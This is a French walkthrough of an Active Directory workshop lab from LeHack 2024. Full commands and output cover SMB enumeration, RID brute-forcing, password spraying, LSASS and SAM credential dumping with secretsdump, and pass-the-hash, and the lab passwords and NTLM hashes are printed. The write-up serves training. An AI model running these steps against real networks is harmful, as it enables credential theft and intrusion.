Mise à jour du 11 juillet 2024: ajout de ce qui peut être détecté avec Bloodhound. Un grand merci à Maël et Rayan qui m’ont partagé leurs extract Bloodhound.

Introduction

Cette année encore, @mpgn nous a régalé un workshop Active Directory à LeHack 2024.

L’accès était fourni via un fichier de configuration openvpn.
Le réseau 10.0.0.0/24 était composé de 4 machines, dans un thème astérix pour cette année.

Mise en place

Pour se connecter, on lance openvpn avec le fichier de configuration fourni.

sudo openvpn ./lehack019.ovpn

La dernière version de netexec était nécessaire. Le plus simple est de l’installer avec pipx.

sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec

On en profite pour ouvrir le wiki de Netexec: https://www.netexec.wiki/.

J’ai également utilisé les scripts de impacket, installable également avec pipx.

pipx install impacket

Reconnaissance

C’est parti, on lance netexec sur 10.0.0.0/24 pour découvrir les machines.

nxc smb 10.0.0.0/24
SMB         10.0.0.7        445    METRONUM         [*] Windows 10 / Server 2019 Build 17763 x64 (name:METRONUM) (domain:rome.local) (signing:False) (SMBv1:False)
SMB         10.0.0.4        445    babaorum         [*] Windows 10 / Server 2019 Build 17763 x64 (name:babaorum) (domain:rome.local) (signing:True) (SMBv1:False)
SMB         10.0.0.8        445    REFERENDUM       [*] Windows 10 / Server 2019 Build 17763 x64 (name:REFERENDUM) (domain:rome.local) (signing:False) (SMBv1:False)
SMB         10.0.0.5        445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

On repère 2 contrôleurs de domaine à la présence de la signature SMB.

10.0.0.4    babaorum    (domain:rome.local)
10.0.0.5    village     (domain:armorique.local)

Les deux autres machines, REFERENDUM et METRONUM appartiennent au domaine rome.local.

10.0.0.7    METRONUM       (domain:rome.local)
10.0.0.8    REFERENDUM     (domain:rome.local)

/etc/hosts

On peut utiliser host pour vérifier l’appartenance des 2 machines.

❯ host metronum.rome.local 10.0.0.4
Using domain server:
Name: 10.0.0.4
Address: 10.0.0.4#53
Aliases: 

metronum.rome.local has address 10.0.0.7

❯ host referendum.rome.local 10.0.0.4
Using domain server:
Name: 10.0.0.4
Address: 10.0.0.4#53
Aliases: 

referendum.rome.local has address 10.0.0.8

On ajoute ensuite ces IPs au fichier de configuration /etc/hosts.

## Workshop Netexec

10.0.0.4	babaorum rome.local babaorum.rome.local
10.0.0.5	village armorique.local
10.0.0.7	metronum METRONUM metronum.rome.local
10.0.0.8	referendum REFERENDUM referendum.rome.local

Je crée aussi un fichier ips.txt qui contient les IPs des machines.

ips.txt:

10.0.0.4
10.0.0.5
10.0.0.7
10.0.0.8

Nmap

Pas grand-chose à dire sur le nmap. On a les ports Windows classique. On peut simplement noter:

  • FTP sur la machine metronum
  • SMB et WinRM sur toutes les machines
  • LDAP et Kerberos sur les contrôleurs de domaine
 nmap -p- -sV -sC -iL ips.txt -oN workshop.nmap -Pn

Nmap scan report for metronum (10.0.0.7)
PORT      STATE    SERVICE       VERSION
21/tcp    open     ftp?
135/tcp   open     msrpc         Microsoft Windows RPC
139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open     microsoft-ds?
3389/tcp  filtered ms-wbt-server
5985/tcp  open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
[...]

Nmap scan report for babaorum (10.0.0.4)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-06 20:06:44Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: rome.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rome.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
[...]

Nmap scan report for referendum (10.0.0.8)
PORT      STATE    SERVICE       VERSION
135/tcp   open     msrpc         Microsoft Windows RPC
139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open     microsoft-ds?
3389/tcp  filtered ms-wbt-server
5985/tcp  open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
[...]

Nmap scan report for village (10.0.0.5)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-06 20:07:38Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: armorique.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: armorique.local, Site: Default-First-Site-Name)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: armorique.local, Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: armorique.local, Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
[...]

Accès anonymes

On peut note que l’on a quelques accès anonymes.

NULL Session:

 nxc smb ips.txt -u '' -p ''       
SMB         10.0.0.8        445    REFERENDUM       [*] Windows 10 / Server 2019 Build 17763 x64 (name:REFERENDUM) (domain:rome.local) (signing:False) (SMBv1:False)
SMB         10.0.0.5        445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
SMB         10.0.0.7        445    METRONUM         [*] Windows 10 / Server 2019 Build 17763 x64 (name:METRONUM) (domain:rome.local) (signing:False) (SMBv1:False)
SMB         10.0.0.4        445    babaorum         [*] Windows 10 / Server 2019 Build 17763 x64 (name:babaorum) (domain:rome.local) (signing:True) (SMBv1:False)
SMB         10.0.0.8        445    REFERENDUM       [-] rome.local\: STATUS_ACCESS_DENIED 
SMB         10.0.0.5        445    village          [+] armorique.local\: 
SMB         10.0.0.7        445    METRONUM         [-] rome.local\: STATUS_ACCESS_DENIED 
SMB         10.0.0.4        445    babaorum         [+] rome.local\: 
Running nxc against 4 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

Guest Session

 nxc smb ips.txt -u 'a' -p ''     
SMB         10.0.0.8        445    REFERENDUM       [*] Windows 10 / Server 2019 Build 17763 x64 (name:REFERENDUM) (domain:rome.local) (signing:False) (SMBv1:False)
SMB         10.0.0.4        445    babaorum         [*] Windows 10 / Server 2019 Build 17763 x64 (name:babaorum) (domain:rome.local) (signing:True) (SMBv1:False)
SMB         10.0.0.7        445    METRONUM         [*] Windows 10 / Server 2019 Build 17763 x64 (name:METRONUM) (domain:rome.local) (signing:False) (SMBv1:False)
SMB         10.0.0.5        445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
SMB         10.0.0.8        445    REFERENDUM       [-] rome.local\a: STATUS_LOGON_FAILURE 
SMB         10.0.0.4        445    babaorum         [+] rome.local\a: (Guest)
SMB         10.0.0.7        445    METRONUM         [-] rome.local\a: STATUS_LOGON_FAILURE 
SMB         10.0.0.5        445    village          [-] armorique.local\a: STATUS_LOGON_FAILURE 
Running nxc against 4 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

Guest user

 nxc smb ips.txt -u 'guest' -p ''     
SMB         10.0.0.7        445    METRONUM         [*] Windows 10 / Server 2019 Build 17763 x64 (name:METRONUM) (domain:rome.local) (signing:False) (SMBv1:False)
SMB         10.0.0.8        445    REFERENDUM       [*] Windows 10 / Server 2019 Build 17763 x64 (name:REFERENDUM) (domain:rome.local) (signing:False) (SMBv1:False)
SMB         10.0.0.5        445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
SMB         10.0.0.4        445    babaorum         [*] Windows 10 / Server 2019 Build 17763 x64 (name:babaorum) (domain:rome.local) (signing:True) (SMBv1:False)
SMB         10.0.0.7        445    METRONUM         [+] rome.local\guest: 
SMB         10.0.0.8        445    REFERENDUM       [+] rome.local\guest: 
SMB         10.0.0.5        445    village          [-] armorique.local\guest: STATUS_ACCOUNT_DISABLED 
SMB         10.0.0.4        445    babaorum         [+] rome.local\guest: 
Running nxc against 4 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

Partage SMB

On note un share SHAREACCESIX sur la machine babaorum.

 nxc smb babaorum -u 'a' -p '' --shares
SMB         10.0.0.4        445    babaorum         [*] Windows 10 / Server 2019 Build 17763 x64 (name:babaorum) (domain:rome.local) (signing:True) (SMBv1:False)
SMB         10.0.0.4        445    babaorum         [+] rome.local\a: (Guest)
SMB         10.0.0.4        445    babaorum         [*] Enumerated shares
SMB         10.0.0.4        445    babaorum         Share           Permissions     Remark
SMB         10.0.0.4        445    babaorum         -----           -----------     ------
SMB         10.0.0.4        445    babaorum         ADMIN$                          Remote Admin
SMB         10.0.0.4        445    babaorum         C$                              Default share
SMB         10.0.0.4        445    babaorum         D$                              Default share
SMB         10.0.0.4        445    babaorum         IPC$            READ            Remote IPC
SMB         10.0.0.4        445    babaorum         NETLOGON                        Logon server share 
SMB         10.0.0.4        445    babaorum         SHAREACCESIX    READ            
SMB         10.0.0.4        445    babaorum         SYSVOL                          Logon server share 

On peut s’y connecter avec smbclient.py de impacket. On y trouve un fichier infos.txt.txt.

❯ smbclient.py a@babaorum   
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
Type help for list of commands
# shares
ADMIN$
C$
D$
IPC$
NETLOGON
SHAREACCESIX
SYSVOL
# use SHAREACCESIX
# ls
drw-rw-rw-          0  Sun Jul  7 00:11:13 2024 .
drw-rw-rw-          0  Sun Jul  7 00:11:13 2024 ..
-rw-rw-rw-        319  Wed Jul  3 12:06:32 2024 infos.txt.txt
# get infos.txt.txt

Le fichier est encodé en ISO-8859.

❯ file infos.txt.txt 
infos.txt.txt: ISO-8859 text, with CRLF line terminators

Mais on peut facilement le convertir en UTF-8 avec iconv.

iconv  -f ISO-8859-14 -t UTF-8 infos.txt.txt -o infos.txt

On y trouve des identifiants (et un peu de lore).

infos.txt.txt:

Ave, César !

Notre espion a réussi à s’infiltrer dans le village gaulois. Il a déposé un message avec les instructions pour récupérer les plans dans le camp romain avoisinant le village !

Voici les identifiants pour récupérer le message: heftepix / BnfMQ9QI81Tz

Merci de détruire cette tablette après lecture !

Identifants:

heftepix:BnfMQ9QI81Tz

FTP

Ces identifiants permettent de se connecter au serveur FTP de metronum. Petit indice dans le nom de l’utilisateur : “heftepix”.

 nxc ftp metronum -u 'heftepix' -p 'BnfMQ9QI81Tz'
FTP         10.0.0.7        21     metronum         [*] Banner: -FileZilla Server 1.8.2
220 Please visit https://filezilla-project.org/
FTP         10.0.0.7        21     metronum         [+] heftepix:BnfMQ9QI81Tz

On a une erreur si on cherche à se connecter avec lftp.

 lftp -u 'heftepix','BnfMQ9QI81Tz' metronum
lftp heftepix@metronum:~> ls
ls: Erreur fatale: Certificate verification: Not trusted (EB:E5:DA:63:48:F8:3A:57:87:94:E8:9C:59:54:B3:F6:0A:1E:16:29)

Mais on peut s’y connecter avec netexec ou ftp, et récupérer le fichier plans.txt.

 nxc ftp metronum -u 'heftepix' -p 'BnfMQ9QI81Tz' --ls                     
FTP         10.0.0.7        21     metronum         [*] Banner: -FileZilla Server 1.8.2
220 Please visit https://filezilla-project.org/
FTP         10.0.0.7        21     metronum         [+] heftepix:BnfMQ9QI81Tz
FTP         10.0.0.7        21     metronum         [*] Directory Listing
FTP         10.0.0.7        21     metronum         dr-xr-xr-x 1 ftp ftp               0 Jul 02 10:07 wineremix

 nxc ftp metronum -u 'heftepix' -p 'BnfMQ9QI81Tz' --ls wineremix          
FTP         10.0.0.7        21     metronum         [*] Banner: -FileZilla Server 1.8.2
220 Please visit https://filezilla-project.org/
FTP         10.0.0.7        21     metronum         [+] heftepix:BnfMQ9QI81Tz
FTP         10.0.0.7        21     metronum         [*] Directory Listing for wineremix
FTP         10.0.0.7        21     metronum         -r--r--r-- 1 ftp ftp             477 Jul 04 10:16 plans.txt

 nxc ftp metronum -u 'heftepix' -p 'BnfMQ9QI81Tz' --get wineremix/plans.txt
FTP         10.0.0.7        21     metronum         [*] Banner: -FileZilla Server 1.8.2
220 Please visit https://filezilla-project.org/
FTP         10.0.0.7        21     metronum         [+] heftepix:BnfMQ9QI81Tz
FTP         10.0.0.7        21     metronum         [+] Downloaded: wineremix/plans.txt

On convertit en UTF-8 le fichier avec iconv, et on obtient le message suivant.

plans.txt:

Ave, César !

J’ai envoyé un messager avec les plans du village. Il aura besoin de rentrer discrètement dans le camp et remettra les plans au commandant du camp. Le mot de passe pour entrer dans le camp sera le suivant : wUSYIuhhWy!!12OL , il faudra prévenir la sentinelle local à ce poste pour qu’il puisse s’authentifier sans encombre !!!

J’ai aussi entendu dire que le capitaine Lapsus était passé dans le camp le mois dernier. J’espère qu’il n’a pas laissé de trace !

On a quelques indices avec une sentinelle local, et un capitaine Lapsus (LAPS ?), qui peut-être aurait laissé des traces.
On a surtout un mot de passe à tester:

wUSYIuhhWy!!12OL

Avec cet indice, on va aller tester ce mot de passe sur des utilisateurs locaux. Mais avant cela, il faut énumérer les utilisateurs.

RID Brute

On utilise l’accès guest pour énumérer les utilisateurs avec RID Brute.

⚠️ On utilise l’utilisateur guest avec un mot de passe vide, ce qui est différent d’une authentification anonyme avec a et un mot de passe vide.

 nxc smb ips.txt -u 'guest' -p '' --rid-brute
SMB         10.0.0.8        445    REFERENDUM       [*] Windows 10 / Server 2019 Build 17763 x64 (name:REFERENDUM) (domain:rome.local) (signing:False) (SMBv1:False)
SMB         10.0.0.4        445    babaorum         [*] Windows 10 / Server 2019 Build 17763 x64 (name:babaorum) (domain:rome.local) (signing:True) (SMBv1:False)
SMB         10.0.0.5        445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
SMB         10.0.0.7        445    METRONUM         [*] Windows 10 / Server 2019 Build 17763 x64 (name:METRONUM) (domain:rome.local) (signing:False) (SMBv1:False)
SMB         10.0.0.8        445    REFERENDUM       [+] rome.local\guest: 
SMB         10.0.0.4        445    babaorum         [+] rome.local\guest: 
SMB         10.0.0.5        445    village          [-] armorique.local\guest: STATUS_ACCOUNT_DISABLED 
SMB         10.0.0.8        445    REFERENDUM       500: referendum\admin01 (SidTypeUser)
SMB         10.0.0.8        445    REFERENDUM       501: referendum\Guest (SidTypeUser)
SMB         10.0.0.8        445    REFERENDUM       503: referendum\DefaultAccount (SidTypeUser)
SMB         10.0.0.8        445    REFERENDUM       504: referendum\WDAGUtilityAccount (SidTypeUser)
SMB         10.0.0.8        445    REFERENDUM       513: referendum\None (SidTypeGroup)
SMB         10.0.0.7        445    METRONUM         [+] rome.local\guest: 
SMB         10.0.0.8        445    REFERENDUM       1000: referendum\ADSyncAdmins (SidTypeAlias)
SMB         10.0.0.8        445    REFERENDUM       1001: referendum\ADSyncOperators (SidTypeAlias)
SMB         10.0.0.8        445    REFERENDUM       1002: referendum\ADSyncBrowse (SidTypeAlias)
SMB         10.0.0.8        445    REFERENDUM       1003: referendum\ADSyncPasswordSet (SidTypeAlias)
SMB         10.0.0.4        445    babaorum         498: ROME\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.0.0.4        445    babaorum         500: ROME\jules.cesar (SidTypeUser)
SMB         10.0.0.4        445    babaorum         501: ROME\Guest (SidTypeUser)
SMB         10.0.0.4        445    babaorum         502: ROME\krbtgt (SidTypeUser)
SMB         10.0.0.4        445    babaorum         512: ROME\Domain Admins (SidTypeGroup)
SMB         10.0.0.4        445    babaorum         513: ROME\Domain Users (SidTypeGroup)
SMB         10.0.0.4        445    babaorum         514: ROME\Domain Guests (SidTypeGroup)
SMB         10.0.0.4        445    babaorum         515: ROME\Domain Computers (SidTypeGroup)
SMB         10.0.0.4        445    babaorum         516: ROME\Domain Controllers (SidTypeGroup)
SMB         10.0.0.4        445    babaorum         517: ROME\Cert Publishers (SidTypeAlias)
SMB         10.0.0.4        445    babaorum         518: ROME\Schema Admins (SidTypeGroup)
SMB         10.0.0.4        445    babaorum         519: ROME\Enterprise Admins (SidTypeGroup)
SMB         10.0.0.4        445    babaorum         520: ROME\Group Policy Creator Owners (SidTypeGroup)
SMB         10.0.0.4        445    babaorum         521: ROME\Read-only Domain Controllers (SidTypeGroup)
SMB         10.0.0.4        445    babaorum         522: ROME\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.0.0.4        445    babaorum         525: ROME\Protected Users (SidTypeGroup)
SMB         10.0.0.4        445    babaorum         526: ROME\Key Admins (SidTypeGroup)
SMB         10.0.0.4        445    babaorum         527: ROME\Enterprise Key Admins (SidTypeGroup)
SMB         10.0.0.4        445    babaorum         553: ROME\RAS and IAS Servers (SidTypeAlias)
SMB         10.0.0.4        445    babaorum         571: ROME\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.0.0.4        445    babaorum         572: ROME\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.0.0.7        445    METRONUM         500: metronum\admin01 (SidTypeUser)
SMB         10.0.0.7        445    METRONUM         501: metronum\Guest (SidTypeUser)
SMB         10.0.0.7        445    METRONUM         503: metronum\DefaultAccount (SidTypeUser)
SMB         10.0.0.7        445    METRONUM         504: metronum\WDAGUtilityAccount (SidTypeUser)
SMB         10.0.0.7        445    METRONUM         513: metronum\None (SidTypeGroup)
SMB         10.0.0.4        445    babaorum         1000: ROME\babaorum$ (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1101: ROME\DnsAdmins (SidTypeAlias)
SMB         10.0.0.4        445    babaorum         1102: ROME\DnsUpdateProxy (SidTypeGroup)
SMB         10.0.0.4        445    babaorum         1103: ROME\brutus (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1104: ROME\caius.bonus (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1105: ROME\caius.laius (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1106: ROME\caius.pupus (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1107: ROME\motus (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1108: ROME\couverdepus (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1109: ROME\processus (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1110: ROME\cartapus (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1111: ROME\oursenplus (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1112: ROME\detritus (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1113: ROME\blocus (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1114: ROME\musculus (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1115: ROME\radius (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1116: ROME\briseradius (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1117: ROME\plexus (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1118: ROME\marcus.sacapus (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1119: ROME\yenapus (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1120: ROME\chorus (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1121: ROME\cleopatre (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1122: ROME\epidemais (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1123: ROME\numerobis (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1124: ROME\amonbofis (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1125: ROME\tournevis (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1126: ROME\tumeheris (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1127: ROME\METRONUM$ (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1128: ROME\lapsus (SidTypeUser)
SMB         10.0.0.4        445    babaorum         1129: ROME\REFERENDUM$ (SidTypeUser)
SMB         10.0.0.7        445    METRONUM         1003: metronum\localix (SidTypeUser)
SMB         10.0.0.4        445    babaorum         2101: ROME\MSOL_80541c18ebaa (SidTypeUser)
Running nxc against 4 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

On utilise ce résultat pour créer une liste d’utilisateurs users.rid.

users.rid:

admin01
amonbofis
babaorum$
blocus
briseradius
brutus
caius.bonus
caius.laius
caius.pupus
cartapus
chorus
cleopatre
couverdepus
DefaultAccount
detritus
epidemais
Guest
jules.cesar
krbtgt
lapsus
localix
marcus.sacapus
METRONUM$
motus
MSOL_80541c18ebaa
musculus
numerobis
oursenplus
plexus
processus
radius
REFERENDUM$
tournevis
tumeheris
WDAGUtilityAccount
yenapus

Password Spraying

On fait notre 1er password spraying avec le mot de passe wUSYIuhhWy!!12OL et notre liste d’utilisateurs users.rid. Ici on teste une authentification locale, d’où le paramètre --local-auth.

 nxc smb ips.txt -u users.rid -p 'wUSYIuhhWy!!12OL' --local-auth
SMB         10.0.0.4        445    babaorum         [*] Windows 10 / Server 2019 Build 17763 x64 (name:babaorum) (domain:babaorum) (signing:True) (SMBv1:False)
SMB         10.0.0.8        445    REFERENDUM       [*] Windows 10 / Server 2019 Build 17763 x64 (name:REFERENDUM) (domain:REFERENDUM) (signing:False) (SMBv1:False)
SMB         10.0.0.5        445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:village) (signing:True) (SMBv1:False)
SMB         10.0.0.7        445    METRONUM         [*] Windows 10 / Server 2019 Build 17763 x64 (name:METRONUM) (domain:METRONUM) (signing:False) (SMBv1:False)
SMB         10.0.0.4        445    babaorum         [-] babaorum\admin01:wUSYIuhhWy!!12OL STATUS_LOGON_FAILURE 
SMB         10.0.0.4        445    babaorum         [-] babaorum\amonbofis:wUSYIuhhWy!!12OL STATUS_LOGON_FAILURE 
SMB         10.0.0.4        445    babaorum         [-] babaorum\babaorum$:wUSYIuhhWy!!12OL STATUS_LOGON_FAILURE 
SMB         10.0.0.4        445    babaorum         [-] babaorum\blocus:wUSYIuhhWy!!12OL STATUS_LOGON_FAILURE 
SMB         10.0.0.7        445    METRONUM         [-] METRONUM\krbtgt:wUSYIuhhWy!!12OL STATUS_LOGON_FAILURE 
SMB         10.0.0.7        445    METRONUM         [-] METRONUM\lapsus:wUSYIuhhWy!!12OL STATUS_LOGON_FAILURE 
[...]
SMB         10.0.0.7        445    METRONUM         [+] METRONUM\localix:wUSYIuhhWy!!12OL (Pwn3d!)
SMB         10.0.0.8        445    REFERENDUM       [-] REFERENDUM\admin01:wUSYIuhhWy!!12OL STATUS_LOGON_FAILURE 
SMB         10.0.0.8        445    REFERENDUM       [-] REFERENDUM\amonbofis:wUSYIuhhWy!!12OL STATUS_LOGON_FAILURE 
[...]
Running nxc against 4 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

On obtient un compte valide localix:wUSYIuhhWy!!12OL sur le serveur METRONUM.

Dumper de LSASS.exe - Metronum

On peut récupérer les hashs de lsass.exe avec les modules lsassy ou nanodump.

 nxc smb metronum -u 'localix' -p 'wUSYIuhhWy!!12OL' --local-auth -M lsassy  
SMB         10.0.0.7        445    METRONUM         [*] Windows 10 / Server 2019 Build 17763 x64 (name:METRONUM) (domain:METRONUM) (signing:False) (SMBv1:False)
SMB         10.0.0.7        445    METRONUM         [+] METRONUM\localix:wUSYIuhhWy!!12OL (Pwn3d!)
LSASSY      10.0.0.7        445    METRONUM         ROME\musculus 0c5a8f7d371f7159fe673933401d0109

Mais j’utilise généralement secretsdump.py qui nous permet d’obtenir en clair le mot de passe de l’utilisateur musculus. J’utilise ici la commande tee pour stocker le résultat.

 secretsdump.py 'localix':'wUSYIuhhWy!!12OL'@metronum | tee metronum.creds
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xdf3d21ca88fdd00ad70548308e9209e1
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
admin01:500:aad3b435b51404eeaad3b435b51404ee:e3afa787c8f370de404ee4a44017d419:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cade791b2b8968aac202d66745304824:::
localix:1003:aad3b435b51404eeaad3b435b51404ee:6a876cf1ec742aa43891b97c5acb6a09:::
[*] Dumping cached domain logon information (domain/username:hash)
ROME.LOCAL/musculus:$DCC2$10240#musculus#0fabadcaf35e4477648e96462cb87ce3: (2024-07-02 14:59:37)
ROME.LOCAL/musculus:$DCC2$10240#musculus#0fabadcaf35e4477648e96462cb87ce3: (2024-07-03 20:37:53)
ROME.LOCAL/musculus:$DCC2$10240#musculus#0fabadcaf35e4477648e96462cb87ce3: (2024-07-04 10:14:06)
ROME.LOCAL/musculus:$DCC2$10240#musculus#0fabadcaf35e4477648e96462cb87ce3: (2024-07-06 23:29:45)
ROME.LOCAL/musculus:$DCC2$10240#musculus#0fabadcaf35e4477648e96462cb87ce3: (2024-07-02 12:31:30)
ROME.LOCAL/musculus:$DCC2$10240#musculus#0fabadcaf35e4477648e96462cb87ce3: (2024-07-02 13:04:07)
ROME.LOCAL/musculus:$DCC2$10240#musculus#0fabadcaf35e4477648e96462cb87ce3: (2024-07-02 14:12:01)
ROME.LOCAL/musculus:$DCC2$10240#musculus#0fabadcaf35e4477648e96462cb87ce3: (2024-07-02 14:50:46)
ROME.LOCAL/musculus:$DCC2$10240#musculus#0fabadcaf35e4477648e96462cb87ce3: (2024-07-02 14:54:58)
ROME.LOCAL/musculus:$DCC2$10240#musculus#0fabadcaf35e4477648e96462cb87ce3: (2024-07-02 14:56:56)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
ROME\METRONUM$:aes256-cts-hmac-sha1-96:db44fa81c91e42657126c40d56b48e27acf895b2edfd78acbcf9f99e5b78b53a
ROME\METRONUM$:aes128-cts-hmac-sha1-96:6413d058c8dbc25bf175416c14fecb3c
ROME\METRONUM$:des-cbc-md5:0dc26bf7ef46f498
ROME\METRONUM$:plain_password_hex:7700290044005e005e0052006a0031004b006d0032005c007a005e006c004500620054002f005300700054006e0021003b00280062004c00780029004c006b006d003800470066004a00430074004600540031003a00600040006c004100610073004e006b00480056003e003b0047004f00510064002b0078006a004a00420066003b004d0025004c006c00700030005b004d006a006d006b007300440064005100430070006800670028003400580021003c005c005a00750067006300600072005c00340066004200550060006100680027006b004200350040007700700051002400750052004500450023004900
ROME\METRONUM$:aad3b435b51404eeaad3b435b51404ee:0b9c62acf7e9754d98013f89d3ffdf4a:::
[*] DefaultPassword 
rome.local\musculus:wKsz4eq7dEnOC'
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x50384683ad6eb110c4048b143964eeb570a3bdc7
dpapi_userkey:0xeef3ffb09f308eba7ddbc600d421b4e1dac017c1
[*] NL$KM 
 0000   83 1E 11 DA 64 6A 29 90  1B 23 81 DC 73 41 67 71   ....dj)..#..sAgq
 0010   FF C6 DC B9 EE 0A 00 BD  FF E4 3E A7 5D EE 52 DF   ..........>.].R.
 0020   F9 A9 36 1C 6D E3 85 CE  66 11 61 CF CE 0D B3 50   ..6.m...f.a....P
 0030   8B F5 05 6A BF BC A7 61  FD 1F BC 4A 87 2E AF 55   ...j...a...J...U
NL$KM:831e11da646a29901b2381dc73416771ffc6dcb9ee0a00bdffe43ea75dee52dff9a9361c6de385ce661161cfce0db3508bf5056abfbca761fd1fbc4a872eaf55
[*] Cleaning up... 
[*] Stopping service RemoteRegistry

On obtient les identifiants de musculus:

rome.local/musculus:wKsz4eq7dEnOC'

ou avec un hash

rome.local\musculus 0c5a8f7d371f7159fe673933401d0109

Ce musculus peut se connecter à toutes les machines du domaine rome.local.

 nxc smb ips -u 'musculus' -H 0c5a8f7d371f7159fe673933401d0109
SMB         10.0.0.5        445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
SMB         10.0.0.8        445    REFERENDUM       [*] Windows 10 / Server 2019 Build 17763 x64 (name:REFERENDUM) (domain:rome.local) (signing:False) (SMBv1:False)
SMB         10.0.0.7        445    METRONUM         [*] Windows 10 / Server 2019 Build 17763 x64 (name:METRONUM) (domain:rome.local) (signing:False) (SMBv1:False)
SMB         10.0.0.4        445    babaorum         [*] Windows 10 / Server 2019 Build 17763 x64 (name:babaorum) (domain:rome.local) (signing:True) (SMBv1:False)
SMB         10.0.0.5        445    village          [-] armorique.local\musculus:0c5a8f7d371f7159fe673933401d0109 STATUS_LOGON_FAILURE
SMB         10.0.0.8        445    REFERENDUM       [+] rome.local\musculus:0c5a8f7d371f7159fe673933401d0109 
SMB         10.0.0.7        445    METRONUM         [+] rome.local\musculus:0c5a8f7d371f7159fe673933401d0109 (Pwn3d!)
SMB         10.0.0.4        445    babaorum         [+] rome.local\musculus:0c5a8f7d371f7159fe673933401d0109 
